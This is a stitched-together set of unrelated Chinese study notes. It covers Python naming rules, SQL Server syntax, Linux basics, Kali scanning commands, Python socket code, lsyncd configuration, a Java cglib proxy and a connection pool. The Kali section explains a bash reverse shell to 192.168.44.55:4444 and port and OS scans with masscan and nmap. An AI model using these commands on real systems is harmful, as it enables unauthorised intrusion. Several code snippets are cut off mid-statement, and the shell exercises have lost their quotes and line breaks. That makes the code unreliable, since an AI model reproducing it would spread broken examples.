什么是标识符 ,标识符用来做什么 文件名、变量名、函数、类名、模块名、项目名等
标识符命名规范 1.只能由字母、数字、下划线组成
2.不能以数字开头
3.不能是Python内置关键字
1.数组
.
1. 如何增加(创建)数据库
语法
CREATE DATABASE database_name
2.如何增加(创建)数据表
语法
CREATE TABLE table_name
{
column_name1 datatype,
column_name2 datatype
};
其中:
table_name:表名,不能重复
column_name1:字段名,不能重复
datatype:数据类型。
3.如何增加字段
语法
ALTER TABLE table_name
ADD column_name datatype;
4.如何查询数据库的信息
(1) 查询所有数据库
sp_helpdb
(2) 查询某个数据库的文件(数据文件和事务日志文件)
sp_helpdb database_name;
(3) 查询某个数据库的空间使用情况
use database_name
exec sp_spaceused;
5.如何查询数据表的信息
(1) 查看表的骨架
sp_help table_name;
(2) 使用sys.objects查看表的信息
select * from sys.objects where name = ‘table_name’
1.计算字符串最后一个单词的长度,单词以空格隔开,字符串长度小于5000。(注:字符串末尾不以空格为结尾)
read -p enter number: noname=`echo $no|awk '{print $NF}'`echo $name|wc -L
2.写出一个程序,接受一个由字母、数字和空格组成的字符串,和一个字符,然后输出输入字符串中该字符的出现次数。(不区分大小写字母)
read -p enter char: charsread -p enter name: nameschar=$charsname=$namesecho $char|grep -oi $name|wc -l
linux
目录解释:
/var/www/html:把文件放入到这个目录下,打开apache2后,可以通过网页访问(而且要启动httpd服务,上网找)
命令解释:
ls -l 文件名:查看文件权限
history:查看历史记录
符合解释:
>:重定向符,将一个东西到另一个(当里面有东西时,就会覆盖)
>> :重定向符,将一个东西到另一个(当有东西是,就会叠加)
0:文件描述符,表示标准输入,对应宏为:STDIN_FILENO
1:文件描述符,表示标准输出,对应宏为:STDOUT_FILENO
2:文件描述符,表示标准出错处理,对应的宏为:STDERR_NO
__________________________________________________________________________________________________
kali
arp-scan -l :可以扫描这个局域网内的其他ip
masscan --rate=1000 -p 0-65535 192.168.44.52 :masscan是这个插件名字,--rate表示指定发包的速率,-p表示指定端口进行扫描(这里指定了0到65535端口),192.168.44.52表示要扫描的ip
nmap -T4 -sV -O -p 445,143,22,8080,80,500,8081,139,443 192.168.44.52:nmap插件名,-T4设置计时模板(越高速度越快),-sV探测打开的端口以确定服务/版本信息,-O启用操作系统检测,-p仅扫描指定的端口,192.168.44.52表示要扫描的ip
bash -i >& /dev/tcp/192.168.44.55/4444 0>&1
bash -i :创建一个交互式的bash 、>&:将输出重定向文件、 /dev/tcp:文件不支持,但是打开该文件相当于发起了socket,建立了一个连接
/192.168.44.55/4444:表示socke连接的ip和端口、 0>&1:表示标志输入重定向到标志输出,即我们可以远程输入,并且可以得到远程输出
'''import socket# (1) 构建套接字对象,确定通信协议sock = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)# (2) 绑定IP和端口ip_port = (127.0.0.1, 9999)sock.bind(ip_port)# (3) 监听最大排队数sock.listen(2)# (4) 阻塞等待客户端连接while 1: print(server is waiting...) conn, addr = sock.accept() # print(conn, conn) # print(addr, addr) while 1: # 接受来自客户端的消息 data = conn.recv(1024) # recv是一个阻塞函数 print(data,data,type(data)) if data == b or data == bq: break print(接受来自客户端的消息:, data.decode()) # 给给客户端发送消息:注意 send发送的字节 conn.send(data.decode().upper().encode())''' '''import socket# (1) 构建套接字对象,确定通信协议sock = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)ip_port = (127.0.0.1, 9999)sock.
官方文档 https://axkibe.github.io/lsyncd/ https://github.com/axkibe/lsyncd
1.什么是lsyncd lsyncd是一个文件系统事件监控器,当文件发生变化是会触发lsyncd向目标地址传送变化的数据。 PS:官方解释 Lsyncd使用文件系统事件接口(inotify或fsevents)来监视对本地文件和目录的更改。Lsyncd将这些事件整理几秒钟,然后生成一个或多个进程以将更改同步到远程文件系统。默认同步方法是rsync Lsyncd是一种轻量级的实时镜像解决方案。Lsyncd相对容易安装,不需要新的文件系统或块设备。Lysncd不会妨碍本地文件系统性能
可以通过配置文件实现细粒度的自定义。自定义操作配置甚至可以从头开始编写,从shell脚本到用Lua语言编写的代码
2.为什么选择lsyncd 1.轻量级监控文件事件变化的应用程序 2.配置简单
3.安装 yum install epel-release yum install lsyncd 4.配置lsyncd 4.1配置参数解释 settings { logfile 日志文件 pidfile pid文件 nodaemon 表示不启用守护模式,默认 statusFile 运行状态文件 statusInterval 将lsyncd的状态写入上面的statusFile的间隔,默认10秒 inotifyMode 指定inotify监控的事件,默认是CloseWrite,还可以是Modify或CloseWrite or Modify maxProcesses 最大进程数 maxDelays 累计多少监控事件同步一次,即使delay时间未到也同步 } 4.2sync的三种工作模式 4.2.1 default.rsync rsync工作模式,监控文件系统的事件变化 当监控的目录文件事件达到触发值会调用rsync把变化的数据传送到目标目录 rsync命令模式
sync { default.rsync, source = /tmp/src, target = 172.29.88.223:/tmp/dest, maxDelays = 5, delay = 30, -- init = true, rsync = { binary = /usr/bin/rsync, archive = true, compress = true, bwlimit = 2000 rsh = /usr/bin/ssh -p 22 -o StrictHostKeyChecking=no } } rsync daemon模式
<dependency> <groupId>cglib</groupId> <artifactId>cglib</artifactId> <version>3.3.0</version> </dependency> Code Generation Library:
package io.veer.redis.proxy; import net.sf.cglib.proxy.Enhancer; import net.sf.cglib.proxy.MethodInterceptor; import net.sf.cglib.proxy.MethodProxy; import java.lang.reflect.Method; public class ProxyFactory implements MethodInterceptor{ // 注入被代理对象 private final Station station = new Station(); public static void main(String[] args){ // 创建代理对象工厂 ProxyFactory proxyFactory = new ProxyFactory(); // 获取代理对象 Station proxyObject = proxyFactory.getProxyObject(); // 调用代理对象的sell方法 proxyObject.sell(); } @Override public Object intercept(Object o, Method method, Object[] objects, MethodProxy methodProxy) throws Throwable{ System.
JUC练习数据库连接池实现
通过一个连接数组来充当连接池 一个原子的标记数组 通过cas来保持多线程下的安全,用synchronized来进行暂停和唤醒 @Slf4j public class MyConnectionPoll { // 连接池对象数组 private Connection[] connections; // 使用标记 private AtomicIntegerArray flagArrays; // 线程池大小 private Integer poolSize; public MyConnectionPoll(){ this.poolSize = 5; connections = new MarkConnection[5]; flagArrays = new AtomicIntegerArray(5); for (int i = 0; i < connections.length; i++) { connections[i] = new MarkConnection(连接 + i+1); } } // 连接池的初始化 public MyConnectionPoll(int poolSize) { this.poolSize = poolSize; connections = new MarkConnection[poolSize]; flagArrays = new AtomicIntegerArray(poolSize); for (int i = 0; i < connections.
ubuntu运行aosp模拟器emulator需要kvm环境,kvm环境需要虚拟机开启支持cpu虚拟化,
vmware 开启支持Intel VT-x/EP时打不开虚拟机的解决方法如下:
https://blog.csdn.net/qq_67441614/article/details/123345033
按照上面的设置之后wsl的ubuntu不能用了,哎真的是,按照下面的帖子改了回来就好了
https://blog.csdn.net/Antarctic_Bear/article/details/123489609
命令:bcdedit /set hypervisorlaunchtype auto